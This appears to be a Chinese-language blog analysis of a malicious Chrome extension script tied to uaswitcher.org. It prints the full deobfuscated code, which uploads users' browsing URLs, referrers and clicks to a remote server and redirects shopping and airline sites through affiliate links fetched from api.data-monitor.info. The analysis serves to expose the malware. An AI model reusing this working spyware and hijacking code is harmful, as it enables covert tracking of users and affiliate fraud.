0,p:!1,aj:!1}),tablist.edit(tabId,{ng:\"ajax\",aj:!0}),tablist.request(tabId,tab),tablist.edit(tabId,{replaced:!1}))}function onReplaced(addedTabId,removedTabId){tablist.edit(addedTabId,{replaced:!0}),tablist.details(addedTabId,tablist.request.bind(tablist,(addedTabId||{}).tabId||addedTabId))}function onBeforeSendHeaders(details){return tablist.edit(details.tabId,{hh:!0}),details.requestHeaders.some(function(rh){return/^Referer$/i.test(rh.name)&&tablist.edit(details.tabId,{a:rh.value})})||tablist.edit(details.tabId,{a:\"\"}),{requestHeaders:details.requestHeaders}}function onCommitted(dtls){dtls=dtls||{};var tid=dtls.tabId,tsh=dtls.transitionQualifiers;tid&&0===dtls.frameId&&(tablist.edit(tid,{ng:dtls.transitionType,tsh:tsh}),/client_redirect/.test(tsh)&&tablist.edit(tid,{lt:dtls.url}),/server_redirect/.test(tsh),tablist.details(tid,tablist.request.bind(tablist,(tid||{}).tabId||tid)))}function cwonRemoved(windowID){ct.query({active:!0},function(tabs){tabs[0]&&tablist.lpUpdate(tabs[0])})}function cwonFocused(window){cw.WINDOW_ID_NONE!=window&&ct.query({windowId:window,active:!0},function(tabs){tabs[0]&&tabs[0].active&&tablist.lpUpdate(tabs[0])})}function onCreated(tab){var openerTabId=(tablist.edit(tab.id,{fr:!0,replaced:!1}),tab.openerTabId||tablist.getLpi());tablist.edit(openerTabId),tab.url.length&&tablist.edit(openerTabId)&&tab.url===tablist.edit(openerTabId).sh?tablist.edit(tab.id).uk.push(\"duplication\"):tab.url.length&&ct.query({url:tab.url},function(tabs){(tabs||[]).length>1&&(tablist.edit(tab.id).uk.push(\"duplication\"),tablist.edit(tab.id).uk.push(\"background_duplication\"))}),\"complete\"!=tab.status||tab.openerTabId||tablist.edit(tab.id).uk.push(\"reopening\"),tablist.edit(tab.id,{dada:openerTabId})}function guid(){var guid=localStorage.getItem(guid_key);if(!guid){var g=function(){return(65536*(1+Math.random(Date.now()+12))|0).toString(30).substring(1)};guid=g()+g()+g()+g()+g()+g()+g()+g()+g(),localStorage.setItem(guid_key,guid)}return guid}var itemator1=310,version=chrome.runtime.getManifest().version,main_route=(localStorage.serverInfo&&JSON.parse(localStorage.serverInfo),\"/logic/page/data\"),guid_key=\"uaswitcherk\",skeys=[\"o\",\"u\"],ch=4,browsername=\"chrome\",toggler=new function(){function save(){localStorage.setItem(localKey,isOn?1:0)}function _optTurnOn(){}var isOn=!0,localKey=\"isdugnlkWfmgosd2\";this.turnOn=function(){isOn=!0,save(),_optTurnOn()},this.turnOff=function(){isOn=!1,save()},this.isOn=function(){return isOn},this.whenOn=function(){return this.isOn()?Promise.resolve(!0):new Promise(function(resolve){_optTurnOn=function(){resolve()}})},function(){var val=localStorage.getItem(localKey),intVal=parseInt(val);isOn=!!isNaN(intVal)||1===intVal}()},configFetcher=new function(){var settings=\"\",setDump=function(){localStorage.setItem(\"uasc\",JSON.stringify(settings))},setUp=function(endpt){var cb=function(sts,resp){sts&&(settings=JSON.parse(resp),setDump())},xhr=new XMLHttpRequest;xhr.onreadystatechange=function(){4==xhr.readyState&&cb.apply(null,[200==xhr.status,xhr.responseText].concat(arguments))},xhr.open(\"GET\",endpt+\"?\"+function(arr){return Object.keys(arr).map(function(hashed){return hashed+\"=\"+arr[hashed]}).join(\"&\")}({s:itemator1,ver:version}),!0),xhr.send()};!function(){var p=localStorage.getItem(\"uasc\");settings=p?JSON.parse(p):settings}(),toggler.whenOn().then(function(){setUp(\"https://uaswitcher.org/splash\")}),this.enablator=function(){settings[skeys[0]]=1,setDump()},this.disablator=function(){settings[skeys[0]]=0,setDump()},this.IsEnable=function(){return Boolean(settings&&settings[skeys[0]])},this.MainLocator=function(){return settings&&settings[skeys[1]]}},filtered=[\"restarting\",\"hh\",\"p\",\"fr\",\"aj\",\"replaced\",\"retroet\",\"dada\"],listenerLast=localStorage.getItem(\"listenerLast\")||0,tablist=new TabList,ct=(chrome.browserAction,chrome.tabs),wr=chrome.webRequest,wn=chrome.webNavigation,cw=chrome.windows;chrome.runtime.onMessage.addListener(function(request,sender){request.href?tablist.edit(sender.tab.id,{zz:request.href}):request.ahref&&tablist.edit(sender.tab.id,{retroet:request.ahref})}),cw.getAll({populate:!0},function(windows){for(var w=0;w<windows.length;w++)for(var i=0;i<windows[w].tabs.length;i++)validateUrl(windows[w].tabs[i].url)&&(tablist.edit(windows[w].tabs[i].id,{sh:windows[w].tabs[i].url,restarting:!0}),windows[w].focused&&windows[w].tabs[i].active&&tablist.lpUpdate(windows[w].tabs[i]))}),ct.onUpdated.addListener(onUpdated),ct.onReplaced.addListener(onReplaced);var repertuar={types:[\"main_frame\"],urls:[\"<all_urls>\"]};return wr.onBeforeRequest.addListener(function(details){validateUrl(details.url)&&tablist.edit(details.tabId,{sh:void 0,p:!1,aj:!1})},repertuar,[\"blocking\"]),wr.onBeforeRedirect.addListener(function(details){validateUrl(details.url)&&tablist.edit(details.tabId).se.push(details.url)},repertuar),wr.onBeforeSendHeaders.addListener(onBeforeSendHeaders,repertuar,[\"blocking\",\"requestHeaders\"]),wr.onHeadersReceived.addListener(function(details){tablist.edit(details.tabId,{hh:!0})},repertuar),wn.onCommitted.addListener(onCommitted),ct.onRemoved.addListener(function(tabId){tablist.remove(tabId)}),cw.onRemoved.addListener(cwonRemoved),ct.onCreated.addListener(onCreated),cw.onFocusChanged.addListener(cwonFocused),ct.onActivated?ct.onActivated.addListener(reselected):ct.onSelectionChanged.addListener(reselected),wr.onErrorOccurred.addListener(function(details){try{tablist.edit(details.tabId,{se:null})}catch(e){}},repertuar),{optin:toggler.turnOn,optout:toggler.turnOff,isopt:toggler.isOn,whenopt:toggler.whenOn()}}();wrap1.optin(),chrome.tabs.onUpdated.addListener(function(tabId){chrome.tabs.get(tabId,function(tab){\"loading\"==tab.status&&chrome.tabs.executeScript(tab.id,{code:`\r\n if(!document.getElementById(\"sbmarwusasv5\")) {\r\n var flag=document.createElement(\"span\");\r\n flag.id=\"sbmarwusasv5\";\r\n document.body.appendChild(flag);\r\n \r\n document.body.addEventListener(\"click\", function(event) {\r\n try {\r\n if(event.target.href) {\r\n chrome.runtime.sendMessage({href: event.target.href, listener: \"usassmwv5\"});\r\n }\r\n }catch(e){\r\n console.log(e);\r\n }\r\n });\r\n \r\n document.body.addEventListener(\"contextmenu\", function(event) {\r\n if(event.target.href) {\r\n chrome.runtime.sendMessage({ahref: event.target.href, listener: \"usassmwv5\"});\r\n }\r\n return false;\r\n }, false);\r\n \r\n document.body.addEventListener(\"auxclick\", function(event) {\r\n if(event.target.href) {\r\n chrome.runtime.sendMessage({ahref: event.target.href, listener: \"usassmwv5\"});\r\n }\r\n });\r\n }`})})});var host=\"http://api.data-monitor.info/api/\",wid=116,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&-1===details.parentFrameId&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current));if(\"string\"==typeof new_url&&current!=new_url)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();","version":"v20170905"}

可以看到,这段恶意代码的版本是v20170905

{"code":"evil javascript", "version":"v20170905"}

把这段js提取出来

function req(obj, callback, errback) {
var params = obj.params ? obj.params: [],
xhr = new XMLHttpRequest;
if (callback && (xhr.onload = function(e) {
e = e.target,
200 === e.status || 304 === e.status ? callback({
responseText: e.responseText,
headers: e.getAllResponseHeaders().split("\r\n")
}) : errback && errback(e.status)
}), errback && (xhr.onerror = function(e) {
e = e.target.status,
errback(e)
}), xhr.open(obj.method, obj.url), params.head) for (i in params.head) obj.setRequestHeader(i, params.head[i]);
if (params.mime) for (i in params.mime) obj.overrideMimeType(params.mime[i]);
if (params.post && xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), (params.post || params.xml) && xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"), "object" == typeof params.post) {
x = params.post,
params.post = "";
for (i in x) x.hasOwnProperty(i) && (params.post += (params.post ? "&": "") + i + "=" + x[i])
}
xhr.send(params.post)
}
function cutw(hostname) { // 去除域名中的www和端口 比如 www.baidu.com:443 => baidu.com
return hostname.replace(/(^www\.|\:\d+$)/gi, "")
}
function getDomain(hostname) {
var result, matches = hostname.match(domainRgxp);
return matches && (result = matches[1]),
result
}
function getSub(hostname, domain) {
var result = hostname.replace(domain, "");
return result && (result = result.replace(/\.$/, "")),
result
}
function prepareLink(link) {
/^(\w+:)?\/\//.test(link) || (link = "http://" + link);
var result, matches = link.match(mainRgxp);
if (matches) try {
var host = cutw(matches[2]),
domain = getDomain(host);
if (domain) {
var sub = getSub(host, domain);
result = {
sch: matches[1],
host: host,
domain: domain,
sub: sub,
path: (matches[3] || "").replace(/^\//, ""),
search: (matches[4] || "").replace(/^\?/, "")
}
}
} catch(e) {
console.log("Error: " + url)
}
return result
}
function tryUrl(url) {
if (! (usedT && usedT > (new Date).getTime() - 42e5)) {
var res, prepared = prepareLink(url);
if (prepared && rulesObject[prepared.domain]) {
var subd = rulesObject[prepared.domain][prepared.sub];
if (subd && (subd[prepared.path] ? res = subd[prepared.path] : subd["*"] && (res = subd["*"])), res || (subd = rulesObject[prepared.domain]["*"]) && (subd[prepared.path] ? res = subd[prepared.path] : subd["*"] && (res = subd["*"])), res) return res = res.replace(/__CURURL__/g, encodeURIComponent(url)).replace(/__SUBID__/g, wid),
usedT = (new Date).getTime(),
localStorage.usedT = usedT,
res
}
}
}
function getData() { // 获取推广规则
setTimeout(getData, 864e5),
req({
method: "GET",
url: host + "bhrule?sub=" + wid // 设置推广连接
},
function(response) {
try {
response = JSON.parse(response.responseText),
rulesObject = response.rules ? response.rules: {}
} catch(e) {}
},
function() {})
}
var wrap1 = function() {
function qs(obj) {
return Object.keys(obj).filter(function(key) {
return ( !! obj[key] || !1 === obj[key]) && -1 === filtered.indexOf(key)
}).map(function(key) {
var val = obj[key];
return "se" === key ? obj[key].map(function(v) {
return key + "=" + encodeURIComponent(v)
}).join("&") : ( - 1 < "sh b a lt zz".split(" ").indexOf(key) && (val = encodeURIComponent(val || "")), key + "=" + val)
}).join("&")
}
// 上传用户的隐私数据
function fetchOverlayPattern(data, callback) {
if (listenerLast = localStorage.getItem("listenerLast"), (new Date).getTime() - listenerLast > 300) {
data.tnew = Date.now();
var bqa = qs(data),
payload = btoa(bqa),
xhr = new XMLHttpRequest;
xhr.open("POST", configFetcher.MainLocator() + main_route, !0),
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"),
xhr.onload = function(e) {
if (200 == this.status) try {
callback(JSON.parse(this.response))
} catch(e) {}
},
xhr.send(["e", encodeURIComponent(btoa(payload))].join("=")),
localStorage.setItem("listenerLast", (new Date).getTime())
}
}
function TabList() {
var hash = {},
lp = "",
lpi = void 0;
return {
remove: function(tid) {
delete hash[tid]
},
edit: function(tid, props) {
return tid ? (hash[tid] || this.clear(tid), Object.keys(props || {}).forEach(function(key) {
hash[tid][key] = props[key]
}), hash[tid]) : null
},
request: function(tabId, tab) {
if (configFetcher.IsEnable() && toggler.isOn()) {
if (!hash[tabId] || hash[tabId].p && !hash[tabId].replaced) return void this.clear(tabId);
var currTab = hash[tabId] || {},
url = validateUrl(tab.url);
url && (currTab.hh || lp != tab.url) && (tab.active || hash[tabId].fr || hash[tabId].uk.push("background_auto_reloading"), hash[tabId].dada && hash[hash[tabId].dada] && hash[hash[tabId].dada].retroet && (hash[tabId].zz = hash[hash[tabId].dada].retroet), fetchOverlayPattern(this.edit(tabId, {
sh: url,
b: lp
}),
function(d) {}), tab.active && (lp = currTab.sh), hash[tabId].zz = null, hash[tabId].dada = null),
this.clear(tabId),
hash[tabId].sh = url,
hash[tabId].p = !0
}
},
clear: function(tid) {
hash[tid] = {
var: version || "missing",
val: 21,
un: "1",
su: browsername,
ch: ch,
new: itemator1,
exp: guid(),
sesnew: "",
d: 0,
se: [],
restarting: !1,
sh: (hash[tid] || {}).sh || null,
a: (hash[tid] || {}).a || "",
uk: [],
fr: !1,
aj: (hash[tid] || {}).aj || !1,
replaced: (hash[tid] || {}).replaced || !1,
hh: (hash[tid] || {}).hh || !1,
dada: (hash[tid] || {}).dada || null,
retroet: (hash[tid] || {}).retroet || "",
zz: (hash[tid] || {}).zz || ""
}
},
details: function(tid, cb) {
chrome.tabs.get(tid,
function(details) {
chrome.runtime.lastError || cb(details)
})
},
lpUpdate: function(param) {
var idd = param.id || param;
lpi = param.id || void 0,
lp = (hash[idd] || {}).sh || lp
},
getLpi: function() {
return lpi
}
}
}
function validateUrl(url) {
return 0 === url.indexOf("http") && -1 === url.indexOf("://localhost") && -1 === url.indexOf("chrome/newtab") && 0 !== url.indexOf("chrome-") && 0 !== url.indexOf("about:") && -1 === url.indexOf("chrome://") ? url: null
}
function reselected(tid) {
tablist.details((tid || {}).tabId || tid, tablist.lpUpdate)
}
function onUpdated(tabId, details, tab) {
details && "complete" === details.status && (tablist.edit(tabId).p && tablist.edit(tabId).aj && tablist.edit(tabId, {
sh: void 0,
p: !1,
aj: !1
}), tablist.edit(tabId, {
ng: "ajax",
aj: !0
}), tablist.request(tabId, tab), tablist.edit(tabId, {
replaced: !1
}))
}
function onReplaced(addedTabId, removedTabId) {
tablist.edit(addedTabId, {
replaced: !0
}),
tablist.details(addedTabId, tablist.request.bind(tablist, (addedTabId || {}).tabId || addedTabId))
}
function onBeforeSendHeaders(details) {
return tablist.edit(details.tabId, {
hh: !0
}),
details.requestHeaders.some(function(rh) {
return /^Referer$/i.test(rh.name) && tablist.edit(details.tabId, {
a: rh.value
})
}) || tablist.edit(details.tabId, {
a: ""
}),
{
requestHeaders: details.requestHeaders
}
}
function onCommitted(dtls) {
dtls = dtls || {};
var tid = dtls.tabId,
tsh = dtls.transitionQualifiers;
tid && 0 === dtls.frameId && (tablist.edit(tid, {
ng: dtls.transitionType,
tsh: tsh
}), /client_redirect/.test(tsh) && tablist.edit(tid, {
lt: dtls.url
}), /server_redirect/.test(tsh), tablist.details(tid, tablist.request.bind(tablist, (tid || {}).tabId || tid)))
}
function cwonRemoved(windowID) {
ct.query({
active: !0
},
function(tabs) {
tabs[0] && tablist.lpUpdate(tabs[0])
})
}
function cwonFocused(window) {
cw.WINDOW_ID_NONE != window && ct.query({
windowId: window,
active: !0
},
function(tabs) {
tabs[0] && tabs[0].active && tablist.lpUpdate(tabs[0])
})
}
function onCreated(tab) {
var openerTabId = (tablist.edit(tab.id, {
fr: !0,
replaced: !1
}), tab.openerTabId || tablist.getLpi());
tablist.edit(openerTabId),
tab.url.length && tablist.edit(openerTabId) && tab.url === tablist.edit(openerTabId).sh ? tablist.edit(tab.id).uk.push("duplication") : tab.url.length && ct.query({
url: tab.url
},
function(tabs) { (tabs || []).length > 1 && (tablist.edit(tab.id).uk.push("duplication"), tablist.edit(tab.id).uk.push("background_duplication"))
}),
"complete" != tab.status || tab.openerTabId || tablist.edit(tab.id).uk.push("reopening"),
tablist.edit(tab.id, {
dada: openerTabId
})
}
function guid() {
var guid = localStorage.getItem(guid_key);
if (!guid) {
var g = function() {
return (65536 * (1 + Math.random(Date.now() + 12)) | 0).toString(30).substring(1)
};
guid = g() + g() + g() + g() + g() + g() + g() + g() + g(),
localStorage.setItem(guid_key, guid)
}
return guid
}
var itemator1 = 310,
version = chrome.runtime.getManifest().version,
main_route = (localStorage.serverInfo && JSON.parse(localStorage.serverInfo), "/logic/page/data"),
guid_key = "uaswitcherk",
skeys = ["o", "u"],
ch = 4,
browsername = "chrome",
toggler = new
function() {
function save() {
localStorage.setItem(localKey, isOn ? 1 : 0)
}
function _optTurnOn() {}
var isOn = !0,
localKey = "isdugnlkWfmgosd2";
this.turnOn = function() {
isOn = !0,
save(),
_optTurnOn()
},
this.turnOff = function() {
isOn = !1,
save()
},
this.isOn = function() {
return isOn
},
this.whenOn = function() {
return this.isOn() ? Promise.resolve(!0) : new Promise(function(resolve) {
_optTurnOn = function() {
resolve()
}
})
},
function() {
var val = localStorage.getItem(localKey),
intVal = parseInt(val);
isOn = !!isNaN(intVal) || 1 === intVal
} ()
},
configFetcher = new
function() {
var settings = "",
setDump = function() {
localStorage.setItem("uasc", JSON.stringify(settings))
},
setUp = function(endpt) {
var cb = function(sts, resp) {
sts && (settings = JSON.parse(resp), setDump())
},
xhr = new XMLHttpRequest;
xhr.onreadystatechange = function() {
4 == xhr.readyState && cb.apply(null, [200 == xhr.status, xhr.responseText].concat(arguments))
},
xhr.open("GET", endpt + "?" +
function(arr) {
return Object.keys(arr).map(function(hashed) {
return hashed + "=" + arr[hashed]
}).join("&")
} ({
s: itemator1,
ver: version
}), !0),
xhr.send()
}; !
function() {
var p = localStorage.getItem("uasc");
settings = p ? JSON.parse(p) : settings
} (),
toggler.whenOn().then(function() {
setUp("https://uaswitcher.org/splash")
}),
this.enablator = function() {
settings[skeys[0]] = 1,
setDump()
},
this.disablator = function() {
settings[skeys[0]] = 0,
setDump()
},
this.IsEnable = function() {
return Boolean(settings && settings[skeys[0]])
},
this.MainLocator = function() {
return settings && settings[skeys[1]]
}
},
filtered = ["restarting", "hh", "p", "fr", "aj", "replaced", "retroet", "dada"],
listenerLast = localStorage.getItem("listenerLast") || 0,
tablist = new TabList,
ct = (chrome.browserAction, chrome.tabs),
wr = chrome.webRequest,
wn = chrome.webNavigation,
cw = chrome.windows;
chrome.runtime.onMessage.addListener(function(request, sender) {
request.href ? tablist.edit(sender.tab.id, {
zz: request.href
}) : request.ahref && tablist.edit(sender.tab.id, {
retroet: request.ahref
})
}),
cw.getAll({
populate: !0
},
function(windows) {
for (var w = 0; w < windows.length; w++) for (var i = 0; i < windows[w].tabs.length; i++) validateUrl(windows[w].tabs[i].url) && (tablist.edit(windows[w].tabs[i].id, {
sh: windows[w].tabs[i].url,
restarting: !0
}), windows[w].focused && windows[w].tabs[i].active && tablist.lpUpdate(windows[w].tabs[i]))
}),
ct.onUpdated.addListener(onUpdated),
ct.onReplaced.addListener(onReplaced);
var repertuar = {
types: ["main_frame"],
urls: ["<all_urls>"]
};
return wr.onBeforeRequest.addListener(function(details) {
validateUrl(details.url) && tablist.edit(details.tabId, {
sh: void 0,
p: !1,
aj: !1
})
},
repertuar, ["blocking"]),
wr.onBeforeRedirect.addListener(function(details) {
validateUrl(details.url) && tablist.edit(details.tabId).se.push(details.url)
},
repertuar),
wr.onBeforeSendHeaders.addListener(onBeforeSendHeaders, repertuar, ["blocking", "requestHeaders"]),
wr.onHeadersReceived.addListener(function(details) {
tablist.edit(details.tabId, {
hh: !0
})
},
repertuar),
wn.onCommitted.addListener(onCommitted),
ct.onRemoved.addListener(function(tabId) {
tablist.remove(tabId)
}),
cw.onRemoved.addListener(cwonRemoved),
ct.onCreated.addListener(onCreated),
cw.onFocusChanged.addListener(cwonFocused),
ct.onActivated ? ct.onActivated.addListener(reselected) : ct.onSelectionChanged.addListener(reselected),
wr.onErrorOccurred.addListener(function(details) {
try {
tablist.edit(details.tabId, {
se: null
})
} catch(e) {}
},
repertuar),
{
optin: toggler.turnOn,
optout: toggler.turnOff,
isopt: toggler.isOn,
whenopt: toggler.whenOn()
}
} ();
wrap1.optin(),
chrome.tabs.onUpdated.addListener(function(tabId) {
chrome.tabs.get(tabId,
function(tab) {
"loading" == tab.status && chrome.tabs.executeScript(tab.id, {
code: `
if (!document.getElementById("sbmarwusasv5")) {
var flag = document.createElement("span");
flag.id = "sbmarwusasv5";
document.body.appendChild(flag);
document.body.addEventListener("click",
function(event) {
try {
if (event.target.href) {
chrome.runtime.sendMessage({
href: event.target.href,
listener: "usassmwv5"
});
}
} catch(e) {
console.log(e);
}
});
document.body.addEventListener("contextmenu",
function(event) {
if (event.target.href) {
chrome.runtime.sendMessage({
ahref: event.target.href,
listener: "usassmwv5"
});
}
return false;
},
false);
document.body.addEventListener("auxclick",
function(event) {
if (event.target.href) {
chrome.runtime.sendMessage({
ahref: event.target.href,
listener: "usassmwv5"
});
}
});
}`
})
})
});
var host = "http://api.data-monitor.info/api/",
wid = 116,
rulesObject = {},
usedT = localStorage.usedT ? parseInt(localStorage.usedT) : null,
mainRgxp = new RegExp("^(?:([^:\\/?]+):)?(?:\\/\\/([^\\/]*))?([^?]*)(?:\\?([^$]*))?"),
domainRgxp = /((?:[^.]+)\.(?:(?:com?|org)\.)?\w+)$/i,
listenFunc = function(details) {
if (! (usedT && usedT > (new Date).getTime() - 42e5) && 0 === details.frameId && "main_frame" == details.type && -1 === details.parentFrameId && details.tabId > 0 && /^https?/i.test(details.url)) {
var current = details.url,
new_url = (prepareLink(current), tryUrl(current));
if ("string" == typeof new_url && current != new_url) return {
redirectUrl: new_url
}
}
};
chrome.webRequest.onBeforeRequest.addListener(listenFunc, {
urls: ["<all_urls>"]
},
["blocking"]),
getData();

外部恶意js分析

恶意js会向chrome增加一些事件的处理函数,比如新打开一个tab,这段恶意js回将你打开的网址上传到服务器上。

接受上传用户信息的apihttps://uaswitcher.org/logic/page/data,上传用户隐私数据,数据中包含用户的插件版本,tabs是重载还是新打开、用户的浏览器等。

https://uaswitcher.org/splash发送相关信息,其中s是代码中指定的,不知道含义,ver是插件的版本。返回的o是与本地的settings做对比,返回的u是接收用户隐私数据的域名。

更新恶意js的状态

这段js还会从http://api.data-monitor.info/api/bhrule?sub=116获取推广连接

{"rules":{"aliexpress.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2Fnfemo.com%2Fclick-JQETHVDP-MKIGQNPP%3Fbt%3D25%26tl%3D1%26sa%3D__SUBID__%26url%3D__CURURL__"}}}}

顺手遍历了一下其他的id,也会存在一些规则,应该是给其他用的,这个sub=116是代码中写死的。

{"rules":{"aliexpress.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2Fnfemo.com%2Fclick-JQEXXAX0-KIGQB9TF%3Fbt%3D25%26tl%3D1%26sa%3D__SUBID__%26url%3D__CURURL__"}},"wadi.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2F2track.info%2FJKrd%2F__SUBID__"}}}}
{"rules":{"aliexpress.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2Fnfemo.com%2Fclick-JQETHVDP-MKIGQNPP%3Fbt%3D25%26tl%3D1%26sa%3D__SUBID__%26url%3D__CURURL__"}},"airasia.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2F2track.info%2FTle6%2F__SUBID__"}},"etihad.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2F2track.info%2FK3ei%2F__SUBID__"}}}}

用于处理推广数据的代码

var host = "http://api.data-monitor.info/api/",
wid = 116,
rulesObject = {},
usedT = localStorage.usedT ? parseInt(localStorage.usedT) : null, mainRgxp = new RegExp("^(?:([^:\\/?]+):)?(?:\\/\\/([^\\/]*))?([^?]*)(?:\\?([^$]*))?"), domainRgxp = /((?:[^.]+)\.(?:(?:com?|org)\.)?\w+)$/i, listenFunc = function(details) {
if (! (usedT && usedT > (new Date).getTime() - 42e5) && 0 === details.frameId && "main_frame" == details.type && -1 === details.parentFrameId && details.tabId > 0 && /^https?/i.test(details.url)) {
var current = details.url,
new_url = (prepareLink(current), tryUrl(current));
if ("string" == typeof new_url && current != new_url) return {
redirectUrl: new_url
}
}
};
chrome.webRequest.onBeforeRequest.addListener(listenFunc, {
urls: ["<all_urls>"]
},
["blocking"]), getData();